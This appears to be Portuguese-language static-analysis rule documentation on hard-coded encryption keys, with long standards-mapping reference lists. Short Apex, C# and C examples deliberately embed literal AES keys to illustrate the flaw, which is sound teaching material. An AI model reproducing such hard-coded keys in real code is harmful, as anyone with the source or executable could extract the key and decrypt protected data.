[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.actionscript.key_management_hardcoded_encryption_key
Abstract
Chaves de criptografia embutidas em código podem comprometer a segurança de uma maneira que não é fácil de remediar.
Explanation
Nunca codifique uma chave de criptografia porque isso torna a chave de criptografia visível para todos os desenvolvedores do projeto e torna a correção do problema extremamente difícil. Alterar a chave de criptografia após o código estar em produção requer uma correção do software. Se a conta que a chave de criptografia protege for comprometida, o proprietário do sistema deverá escolher entre a segurança e a disponibilidade do sistema.

Exemplo 1: O código a seguir realiza a criptografia AES usando uma chave de criptografia em código fixo:


...
Blob encKey = Blob.valueOf('YELLOW_SUBMARINE');
Blob encrypted = Crypto.encrypt('AES128', encKey, iv, input);
...


Qualquer pessoa com acesso ao código pode ver a chave de criptografia. Depois que o aplicativo for distribuído, não será mais possível alterar a chave de criptografia sem um patch de software. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Qualquer invasor com acesso ao executável do aplicativo pode extrair o valor da chave de criptografia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.apex.key_management_hardcoded_encryption_key
Abstract
Chaves de criptografia embutidas em código podem comprometer a segurança de uma maneira que não é fácil de remediar.
Explanation
Nunca é uma boa ideia inserir uma chave de criptografia em código fixo, pois isso permite que todos os desenvolvedores do projeto a visualizem, além de também dificultar extremamente a correção do problema. Depois que o código está em produção, é necessário um pacote de software para alterar a chave de criptografia. Se a conta protegida pela chave de criptografia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O seguinte código usa uma chave de criptografia inserida em código fixo:


...
using (SymmetricAlgorithm algorithm = SymmetricAlgorithm.Create("AES"))
{
string encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(encryptionKey);
algorithm.Key = keyBytes;
...
}


Qualquer pessoa com acesso ao código tem acesso à chave de criptografia. Depois que o aplicativo for distribuído, não será mais possível alterar a chave de criptografia, a não ser que um patch seja aplicado a esse programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Se os invasores tivessem acesso ao executável do aplicativo, eles poderiam extrair o valor da chave de criptografia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.dotnet.key_management_hardcoded_encryption_key
Abstract
Chaves de criptografia embutidas em código podem comprometer a segurança de uma maneira que não é fácil de remediar.
Explanation
Nunca é uma boa ideia inserir uma chave de criptografia em código fixo. Não apenas a codificação fixa de uma chave de criptografia permite que todos os desenvolvedores do projeto visualizem a chave de criptografia, como também torna a correção do problema extremamente difícil. Depois que o código está em produção, é necessário um pacote de software para alterar a chave de criptografia. Se a conta protegida pela chave de criptografia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O seguinte código usa uma chave de criptografia inserida em código fixo:


...
char encryptionKey[] = "lakdsljkalkjlksdfkl";
...


Qualquer pessoa com acesso ao código tem acesso à chave de criptografia. Depois que o programa for distribuído, não será mais possível alterar a chave de criptografia, a não ser que um patch seja aplicado a esse programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Se os invasores tiverem acesso ao executável do aplicativo, eles poderão desmontar o código, que conterá o valor da chave de criptografia utilizada.
References
[1] Windows Data Protection Microsoft
[2] Encrypting Your App's Files Apple
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[39] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
